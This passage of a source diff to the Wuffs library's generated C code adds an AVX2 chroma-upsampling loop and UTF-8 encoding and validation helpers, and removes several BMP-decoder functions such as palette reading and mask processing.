j16 n16 j25 n25 j26 n26 .. j32 n32] ++ __m256i step1_p0_lo = _mm256_unpacklo_epi8(major_p0, minor_p0); ++ __m256i step1_p0_hi = _mm256_unpackhi_epi8(major_p0, minor_p0); ++ __m256i step1_m1_lo = _mm256_unpacklo_epi8(major_m1, minor_m1); ++ __m256i step1_m1_hi = _mm256_unpackhi_epi8(major_m1, minor_m1); ++ __m256i step1_p1_lo = _mm256_unpacklo_epi8(major_p1, minor_p1); ++ __m256i step1_p1_hi = _mm256_unpackhi_epi8(major_p1, minor_p1); + +-// -------- func bmp.decoder.num_decoded_frame_configs ++ // Multiply-add to get u16x16 vectors. ++ // ++ // step2_p0_lo = [9*j00+3*n00 9*j01+3*n01 .. 9*j23+3*n23] ++ // step2_p0_hi = [9*j08+3*n08 9*j09+3*n09 .. 9*j31+3*n31] ++ // step2_m1_lo = [3*jm1+1*nm1 3*j00+1*n00 .. 3*j22+1*n22] ++ // step2_m1_hi = [3*j07+1*n07 3*j08+1*n08 .. 3*j30+1*n30] ++ // step2_p1_lo = [3*j01+1*n01 3*j02+1*n02 .. 3*j24+1*n24] ++ // step2_p1_hi = [3*j09+1*n09 3*j10+1*n10 .. 3*j32+1*n32] ++ const __m256i k0309 = _mm256_set1_epi16(0x0309); ++ const __m256i k0103 = _mm256_set1_epi16(0x0103); ++ __m256i step2_p0_lo = _mm256_maddubs_epi16(step1_p0_lo, k0309); ++ __m256i step2_p0_hi = _mm256_maddubs_epi16(step1_p0_hi, k0309); ++ __m256i step2_m1_lo = _mm256_maddubs_epi16(step1_m1_lo, k0103); ++ __m256i step2_m1_hi = _mm256_maddubs_epi16(step1_m1_hi, k0103); ++ __m256i step2_p1_lo = _mm256_maddubs_epi16(step1_p1_lo, k0103); ++ __m256i step2_p1_hi = _mm256_maddubs_epi16(step1_p1_hi, k0103); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bmp__decoder__num_decoded_frame_configs( +- const wuffs_bmp__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ // Compute the weighted sums of (p0, m1) and (p0, p1). For example: ++ // ++ // step3_m1_lo[00] = ((9*j00) + (3*n00) + (3*jm1) + (1*nm1)) as u16 ++ // step3_p1_hi[15] = ((9*j31) + (3*n31) + (3*j32) + (1*n32)) as u16 ++ __m256i step3_m1_lo = _mm256_add_epi16(step2_p0_lo, step2_m1_lo); ++ __m256i step3_m1_hi = _mm256_add_epi16(step2_p0_hi, step2_m1_hi); ++ __m256i step3_p1_lo = _mm256_add_epi16(step2_p0_lo, step2_p1_lo); ++ __m256i step3_p1_hi = _mm256_add_epi16(step2_p0_hi, step2_p1_hi); + +- if (self->private_impl.f_call_sequence > 32u) { +- return 1u; +- } +- return 0u; +-} ++ // Bias by 8 (on the left) or 7 (on the right) and then divide by 16 ++ // (which is 9+3+3+1) to get a weighted average. On the left (m1), shift ++ // the u16 right value by 4. On the right (p1), shift right by 4 and then ++ // shift left by 8 so that, when still in the u16x16 little-endian ++ // interpretation, we have: ++ // - m1_element = (etcetera + 8) >> 4 ++ // - p1_element = ((etcetera + 7) >> 4) << 8 ++ // ++ // step4_m1_lo = [0x00?? 0x00?? ... 0x00?? 0x00??] ++ // step4_p1_lo = [0x??00 0x??00 ... 0x??00 0x??00] ++ // step4_m1_hi = [0x00?? 0x00?? ... 0x00?? 0x00??] ++ // step4_p1_hi = [0x??00 0x??00 ... 0x??00 0x??00] ++ __m256i step4_m1_lo = _mm256_srli_epi16( ++ _mm256_add_epi16(step3_m1_lo, _mm256_set1_epi16(8)), 4); ++ __m256i step4_p1_lo = _mm256_slli_epi16( ++ _mm256_srli_epi16(_mm256_add_epi16(step3_p1_lo, _mm256_set1_epi16(7)), ++ 4), ++ 8); ++ __m256i step4_m1_hi = _mm256_srli_epi16( ++ _mm256_add_epi16(step3_m1_hi, _mm256_set1_epi16(8)), 4); ++ __m256i step4_p1_hi = _mm256_slli_epi16( ++ _mm256_srli_epi16(_mm256_add_epi16(step3_p1_hi, _mm256_set1_epi16(7)), ++ 4), ++ 8); + +-// -------- func bmp.decoder.num_decoded_frames ++ // Bitwise-or two "0x00"-rich u16x16 vectors to get a u8x32 vector. Do ++ // that twice. Once for the low columns and once for the high columns. ++ // ++ // In terms of jxx (major row) or nxx (minor row) source samples: ++ // - low columns means ( 0 .. 8; 16 .. 24). ++ // - high columns means ( 8 .. 16; 24 .. 32). ++ // ++ // In terms of dxx destination samples (there are twice as many): ++ // - low columns means ( 0 .. 16; 32 .. 48). ++ // - high columns means (16 .. 32; 48 .. 64). ++ // ++ // step5_lo = [d00 d01 .. d14 d15 d32 d33 .. d46 d47] ++ // step5_hi = [d16 d17 .. d30 d31 d48 d49 .. d62 d63] ++ // ++ // The d00, d02 ... d62 even elements come from (p0, m1) weighted sums. ++ // The d01, d03 ... d63 odd elements come from (p0, p1) weighted sums. ++ __m256i step5_lo = _mm256_or_si256(step4_m1_lo, step4_p1_lo); ++ __m256i step5_hi = _mm256_or_si256(step4_m1_hi, step4_p1_hi); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bmp__decoder__num_decoded_frames( +- const wuffs_bmp__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ // Permute and store. ++ // ++ // step6_00_31 = [d00 d01 .. d14 d15 d16 d17 .. d30 d31] ++ // step6_32_63 = [d32 d33 .. d46 d47 d48 d49 .. d62 d63] ++ __m256i step6_00_31 = _mm256_permute2x128_si256(step5_lo, step5_hi, 0x20); ++ __m256i step6_32_63 = _mm256_permute2x128_si256(step5_lo, step5_hi, 0x31); ++ _mm256_storeu_si256((__m256i*)(void*)(dp + 0x00), step6_00_31); ++ _mm256_storeu_si256((__m256i*)(void*)(dp + 0x20), step6_32_63); + +- if (self->private_impl.f_call_sequence > 64u) { +- return 1u; ++ // Advance by up to 32 source samples (64 destination samples). The first ++ // iteration might be smaller than 32 so that all of the remaining steps ++ // are exactly 32. ++ size_t n = 32u - (31u & (0u - src_len)); ++ dp += 2u * n; ++ sp_major += n; ++ sp_minor += n; ++ src_len -= n; ++ } + } +- return 0u; +-} + +-// -------- func bmp.decoder.restart_frame ++ if (last_column) { ++ uint32_t sv_major_m1 = sp_major[-1]; ++ uint32_t sv_minor_m1 = sp_minor[-1]; ++ uint32_t sv_major_p1 = sp_major[+0]; // Clamp offset to zero. ++ uint32_t sv_minor_p1 = sp_minor[+0]; // Clamp offset to zero. + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bmp__decoder__restart_frame( +- wuffs_bmp__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // ++ (3u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); + } + +- if (self->private_impl.f_call_sequence < 32u) { +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } +- if (a_index != 0u) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- self->private_impl.f_call_sequence = 40u; +- self->private_impl.f_frame_config_io_position = a_io_position; +- return wuffs_base__make_status(NULL); ++ return dst_ptr; + } ++#endif ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 + +-// -------- func bmp.decoder.set_report_metadata +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_bmp__decoder__set_report_metadata( +- wuffs_bmp__decoder* self, +- uint32_t a_fourcc, +- bool a_report) { +- return wuffs_base__make_empty_struct(); +-} ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) + +-// -------- func bmp.decoder.tell_me_more ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__UTF8) + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bmp__decoder__tell_me_more( +- wuffs_bmp__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); ++// ---------------- Unicode and UTF-8 + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++WUFFS_BASE__MAYBE_STATIC size_t // ++wuffs_base__utf_8__encode(wuffs_base__slice_u8 dst, uint32_t code_point) { ++ if (code_point <= 0x7F) { ++ if (dst.len >= 1) { ++ dst.ptr[0] = (uint8_t)(code_point); ++ return 1; ++ } + +- uint32_t coro_susp_point = self->private_impl.p_tell_me_more[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ } else if (code_point <= 0x07FF) { ++ if (dst.len >= 2) { ++ dst.ptr[0] = (uint8_t)(0xC0 | ((code_point >> 6))); ++ dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); ++ return 2; ++ } + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_bmp__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } else if (code_point <= 0xFFFF) { ++ if ((dst.len >= 3) && ((code_point < 0xD800) || (0xDFFF < code_point))) { ++ dst.ptr[0] = (uint8_t)(0xE0 | ((code_point >> 12))); ++ dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 6) & 0x3F)); ++ dst.ptr[2] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); ++ return 3; + } + +- ok: +- self->private_impl.p_tell_me_more[0] = 0; +- goto exit; ++ } else if (code_point <= 0x10FFFF) { ++ if (dst.len >= 4) { ++ dst.ptr[0] = (uint8_t)(0xF0 | ((code_point >> 18))); ++ dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 12) & 0x3F)); ++ dst.ptr[2] = (uint8_t)(0x80 | ((code_point >> 6) & 0x3F)); ++ dst.ptr[3] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); ++ return 4; ++ } + } + +- goto suspend; +- suspend: +- self->private_impl.p_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; ++ return 0; + } + +-// -------- func bmp.decoder.do_tell_me_more +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_tell_me_more( +- wuffs_bmp__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++// wuffs_base__utf_8__byte_length_minus_1 is the byte length (minus 1) of a ++// UTF-8 encoded code point, based on the encoding's initial byte. ++// - 0x00 is 1-byte UTF-8 (ASCII). ++// - 0x01 is the start of 2-byte UTF-8. ++// - 0x02 is the start of 3-byte UTF-8. ++// - 0x03 is the start of 4-byte UTF-8. ++// - 0x40 is a UTF-8 tail byte. ++// - 0x80 is invalid UTF-8. ++// ++// RFC 3629 (UTF-8) gives this grammar for valid UTF-8: ++// UTF8-1 = %x00-7F ++// UTF8-2 = %xC2-DF UTF8-tail ++// UTF8-3 = %xE0 %xA0-BF UTF8-tail / %xE1-EC 2( UTF8-tail ) / ++// %xED %x80-9F UTF8-tail / %xEE-EF 2( UTF8-tail ) ++// UTF8-4 = %xF0 %x90-BF 2( UTF8-tail ) / %xF1-F3 3( UTF8-tail ) / ++// %xF4 %x80-8F 2( UTF8-tail ) ++// UTF8-tail = %x80-BF ++static const uint8_t wuffs_base__utf_8__byte_length_minus_1[256] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x30 ..= 0x37. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. + +- if (self->private_impl.f_io_redirect_fourcc <= 1u) { +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; +- } +- if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- 1u, +- self->private_impl.f_io_redirect_fourcc, +- 0u, +- self->private_impl.f_io_redirect_pos, +- 18446744073709551615u); +- } +- self->private_impl.f_io_redirect_fourcc = 1u; ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x40 ..= 0x47. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60 ..= 0x67. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. + +- goto ok; +- ok: +- goto exit; +- exit: +- return status; +-} ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x80 ..= 0x87. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x88 ..= 0x8F. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x90 ..= 0x97. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x98 ..= 0x9F. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xA0 ..= 0xA7. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xA8 ..= 0xAF. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xB0 ..= 0xB7. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xB8 ..= 0xBF. + +-// -------- func bmp.decoder.history_retain_length ++ 0x80, 0x80, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xC0 ..= 0xC7. ++ 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xC8 ..= 0xCF. ++ 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xD0 ..= 0xD7. ++ 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xD8 ..= 0xDF. ++ 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // 0xE0 ..= 0xE7. ++ 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // 0xE8 ..= 0xEF. ++ 0x03, 0x03, 0x03, 0x03, 0x03, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bmp__decoder__history_retain_length( +- const wuffs_bmp__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__utf_8__next__output // ++wuffs_base__utf_8__next(const uint8_t* s_ptr, size_t s_len) { ++ if (s_len == 0) { ++ return wuffs_base__make_utf_8__next__output(0, 0); + } ++ uint32_t c = s_ptr[0]; ++ switch (wuffs_base__utf_8__byte_length_minus_1[c & 0xFF]) { ++ case 0: ++ return wuffs_base__make_utf_8__next__output(c, 1); + +- return 0u; +-} ++ case 1: ++ if (s_len < 2) { ++ break; ++ } ++ c = wuffs_base__peek_u16le__no_bounds_check(s_ptr); ++ if ((c & 0xC000) != 0x8000) { ++ break; ++ } ++ c = (0x0007C0 & (c << 6)) | (0x00003F & (c >> 8)); ++ return wuffs_base__make_utf_8__next__output(c, 2); + +-// -------- func bmp.decoder.workbuf_len ++ case 2: ++ if (s_len < 3) { ++ break; ++ } ++ c = wuffs_base__peek_u24le__no_bounds_check(s_ptr); ++ if ((c & 0xC0C000) != 0x808000) { ++ break; ++ } ++ c = (0x00F000 & (c << 12)) | (0x000FC0 & (c >> 2)) | ++ (0x00003F & (c >> 16)); ++ if ((c <= 0x07FF) || ((0xD800 <= c) && (c <= 0xDFFF))) { ++ break; ++ } ++ return wuffs_base__make_utf_8__next__output(c, 3); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_bmp__decoder__workbuf_len( +- const wuffs_bmp__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ case 3: ++ if (s_len < 4) { ++ break; ++ } ++ c = wuffs_base__peek_u32le__no_bounds_check(s_ptr); ++ if ((c & 0xC0C0C000) != 0x80808000) { ++ break; ++ } ++ c = (0x1C0000 & (c << 18)) | (0x03F000 & (c << 4)) | ++ (0x000FC0 & (c >> 10)) | (0x00003F & (c >> 24)); ++ if ((c <= 0xFFFF) || (0x110000 <= c)) { ++ break; ++ } ++ return wuffs_base__make_utf_8__next__output(c, 4); + } + +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ return wuffs_base__make_utf_8__next__output( ++ WUFFS_BASE__UNICODE_REPLACEMENT_CHARACTER, 1); + } + +-// -------- func bmp.decoder.read_palette +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__read_palette( +- wuffs_bmp__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_i = 0; +- uint32_t v_argb = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_read_palette[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_read_palette[0].v_i; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__utf_8__next__output // ++wuffs_base__utf_8__next_from_end(const uint8_t* s_ptr, size_t s_len) { ++ if (s_len == 0) { ++ return wuffs_base__make_utf_8__next__output(0, 0); + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ const uint8_t* ptr = &s_ptr[s_len - 1]; ++ if (*ptr < 0x80) { ++ return wuffs_base__make_utf_8__next__output(*ptr, 1); + +- if (self->private_impl.f_bitmap_info_len == 12u) { +- while ((v_i < 256u) && (self->private_impl.f_padding >= 3u)) { +- self->private_impl.f_padding -= 3u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { +- t_0 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); +- iop_a_src += 3; +- } else { +- self->private_data.s_read_palette[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_read_palette[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 16) { +- t_0 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; +- } +- } +- v_argb = t_0; +- } +- v_argb |= 4278190080u; +- self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); +- self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); +- self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); +- self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); +- v_i += 1u; ++ } else if (*ptr < 0xC0) { ++ const uint8_t* too_far = &s_ptr[(s_len > 4) ? (s_len - 4) : 0]; ++ uint32_t n = 1; ++ while (ptr != too_far) { ++ ptr--; ++ n++; ++ if (*ptr < 0x80) { ++ break; ++ } else if (*ptr < 0xC0) { ++ continue; + } +- } else { +- while ((v_i < 256u) && (self->private_impl.f_padding >= 4u)) { +- self->private_impl.f_padding -= 4u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_read_palette[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_read_palette[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; +- } +- } +- v_argb = t_1; +- } +- v_argb |= 4278190080u; +- self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); +- self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); +- self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); +- self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); +- v_i += 1u; ++ wuffs_base__utf_8__next__output o = wuffs_base__utf_8__next(ptr, n); ++ if (o.byte_length != n) { ++ break; + } ++ return o; + } +- while (v_i < 256u) { +- self->private_data.f_src_palette[((4u * v_i) + 0u)] = 0u; +- self->private_data.f_src_palette[((4u * v_i) + 1u)] = 0u; +- self->private_data.f_src_palette[((4u * v_i) + 2u)] = 0u; +- self->private_data.f_src_palette[((4u * v_i) + 3u)] = 255u; +- v_i += 1u; +- } +- +- goto ok; +- ok: +- self->private_impl.p_read_palette[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_read_palette[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_read_palette[0].v_i = v_i; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- return status; ++ return wuffs_base__make_utf_8__next__output( ++ WUFFS_BASE__UNICODE_REPLACEMENT_CHARACTER, 1); + } + +-// -------- func bmp.decoder.process_masks +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__process_masks( +- wuffs_bmp__decoder* self) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_i = 0; +- uint32_t v_mask = 0; +- uint32_t v_n = 0; +- +- while (v_i < 4u) { +- v_mask = self->private_impl.f_channel_masks[v_i]; +- if (v_mask != 0u) { +- v_n = 0u; +- while ((v_mask & 1u) == 0u) { +- v_n += 1u; +- v_mask >>= 1u; +- } +- self->private_impl.f_channel_shifts[v_i] = ((uint8_t)((v_n & 31u))); +- v_n = 0u; +- while ((v_mask & 1u) == 1u) { +- v_n += 1u; +- v_mask >>= 1u; +- } +- if ((v_mask != 0u) || (v_n > 32u)) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } +- self->private_impl.f_channel_num_bits[v_i] = ((uint8_t)(v_n)); +- } else if (v_i != 3u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; ++WUFFS_BASE__MAYBE_STATIC size_t // ++wuffs_base__utf_8__longest_valid_prefix(const uint8_t* s_ptr, size_t s_len) { ++ // TODO: possibly optimize the all-ASCII case (4 or 8 bytes at a time). ++ // ++ // TODO: possibly optimize this by manually inlining the ++ // wuffs_base__utf_8__next calls. ++ size_t original_len = s_len; ++ while (s_len > 0) { ++ wuffs_base__utf_8__next__output o = wuffs_base__utf_8__next(s_ptr, s_len); ++ if ((o.code_point > 0x7F) && (o.byte_length == 1)) { ++ break; + } +- v_i += 1u; ++ s_ptr += o.byte_length; ++ s_len -= o.byte_length; + } ++ return original_len - s_len; ++} + +- goto ok; +- ok: +- goto exit; +- exit: +- return status; ++WUFFS_BASE__MAYBE_STATIC size_t // ++wuffs_base__ascii__longest_valid_prefix(const uint8_t* s_ptr, size_t s_len) { ++ // TODO: possibly optimize this by checking 4 or 8 bytes at a time. ++ const uint8_t* original_ptr = s_ptr; ++ const uint8_t* p = s_ptr; ++ const uint8_t* q = s_ptr + s_len; ++ for (; (p != q) && ((*p & 0x80) == 0); p++) { ++ } ++ return (size_t)(p - original_ptr); + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BMP) ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__UTF8) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BZIP2) ++#ifdef __cplusplus ++} // extern "C" ++#endif + +-// ---------------- Status Codes Implementations ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ADLER32) + +-const char 